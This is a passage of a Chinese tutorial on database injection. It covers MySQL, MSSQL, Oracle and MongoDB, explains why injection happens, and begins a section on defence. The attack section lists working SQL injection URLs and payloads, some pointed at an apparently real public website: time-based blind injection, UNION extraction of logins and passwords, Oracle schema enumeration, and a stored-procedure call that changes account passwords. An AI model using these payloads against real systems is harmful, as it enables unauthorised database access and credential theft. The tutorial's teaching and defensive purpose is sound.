然后开始试探数据库字段数、当前用户,如图14.
图14
http://192.168.115.131/cat.php?id=1 and (select * from (select(sleep(5)))lsrk)
http://192.168.115.131/cat.php?id=1%20UNION%20
SELECT%201,concat(login,%27:%27,password),4%20FROM%20users;’
接下来是用来测试是否存在基于时间的盲注和查询数据库管理员帐号密码的,拿到root账号后可以去网上破解.
msSQL
这个思路跟MySQL一样,只是需要msSQL的注释符和MySQL有所不同,前者支持–,后者支持#,如图15.
http://www.aquaservices.co.in/authorprofile.asp?id=13 order by 100–
Here comes the error : The order by position number 100 is out of range of the number of items
图15
http://www.aquaservices.co.in/authorprofile.asp?id=13 and 0=1 Union All Select 1,@@version,4,5,6,db_name(),8–
http://www.aquaservices.co.in/authorprofile.asp?id=13;exec master.dbo.sp_password null,password,username;–
这里还可以执行存储过程master.dbo.sp_password直接修改数据库账号密码呢.
Oracle
思路也差不多,不过语法上稍微复杂点,如果语法不太熟,有个技巧,可以用sqlmap去跑PoC,如图16,按照提醒去构造畸形输入.
获取数据库版本信息
and 1=2 union select null,null,(select banner from sys.v_$version where rownum=1) from dual
开始爆库
and 1=2 union select null,(select owner from all_tables where rownum=1) from dual
and 1=2 union select null,(select owner from all_table where rownum=1 and owner<>’第
一个库名’) from dual
and 1=2 union select null,(select table_name from user_tables where rownum=1) from
Dual
图16
MongoDB
上面讲的都是关系型数据库,非关系型数据库MongoDB这些是不是就安全了?不是的,如图17,密码还是明文保存的呢.
图17
四、为什么会发生数据库注入
经过上面数据库注入的攻击测试,相信大家再也不会心怀侥幸了,因为攻击成本很低,不是吗?那么,总结一下我们看到的,数据库注入发生的原因是什么?
1、透过现象看本质
SQL注入可以分为平台层注入和代码层注入.
前者由不安全的数据库配置或数据库平台的漏洞所致;
①不安全的数据库配置;②数据库平台存在漏洞;
后者由于开发对输入未进行细致过滤,从而执行非法数据查询.
①不当的类型处理;
②不合理的查询集处理;③不当的错误处理;
④转义字符处理不合适;⑤多个提交处理不当.
2、代码
首先,“信任,过犹不及”.很多时候,我们一直强调,站在开发者角度,用户是不可信任的,未过滤或验证用户输入以及输出数据,就是给自己挖坑.比如下面这个:
$username = “aaa”;
$pwd = “fdsafda’ or ‘1’=’1”;
$sql = “SELECT * FROM table WHERE username = ‘{$username}’ AND pwd = ‘{$pwd}'”;
echo $sql; //输出 SELECT * FROM table WHERE username = ‘aaa’ AND pwd = ‘fdsafda’ or ‘1’=’1′
?>
传说中的“万能密码”利用的后台代码差不多就是这个渣样.当然,现在几乎不可能存在了,因为人总是会吸取教训的,各种安全开发的理念还是逐渐深入人心了.
3、数据库
站在运维角度,数据库注入中的运维“三宗罪”分别是:
(1)空密码/弱密码.“空,那么空”,我耳朵里突然想起来金志文的《空城》.
mysql> select user,host,password from mysql.user;
+——+———–+———-+
| user | host | password |
+——+———–+———-+
| root | localhost | |
| root | 127.0.0.1 | |
| root | ::1 | |
(2)外网开放.数据库开放外网,还不改端口(改了也没用,因为现在都是全端口扫描的),这不是找抽吗?
iptables-save | grep 3306
-A INPUT -p tcp -m tcp –dport 3306 -j ACCEPT
(3)用户权限控制不当.按照最小权限原则,只给账号需要的最小权限即可.
mysql> show grants for gs@101.101.101.101;
+———————————————–+
| Grants for gs@101.101.101.101;
+———————————————–+
| GRANT ALL PRIVILEGES ON `gameserver`.* TO ‘wscs_gs’@’101.101.101.101’
五、数据库注入攻击防御
上文已介绍了数据库注入的原因和形式,下文将从代码、数据库、Web Server和数据分析四个层面介绍如何防御数据库注入攻击.
1、代码
SDL(Security Develop Lifecircle):软件开发应当遵循“安全开发生命周期”,软件测试需要增加安全测试的白盒与黑盒测试.
用户是不可信的:输入输出都应当被过滤,至少应满足以下4个编码规则.
(编辑:ASP站长网)
|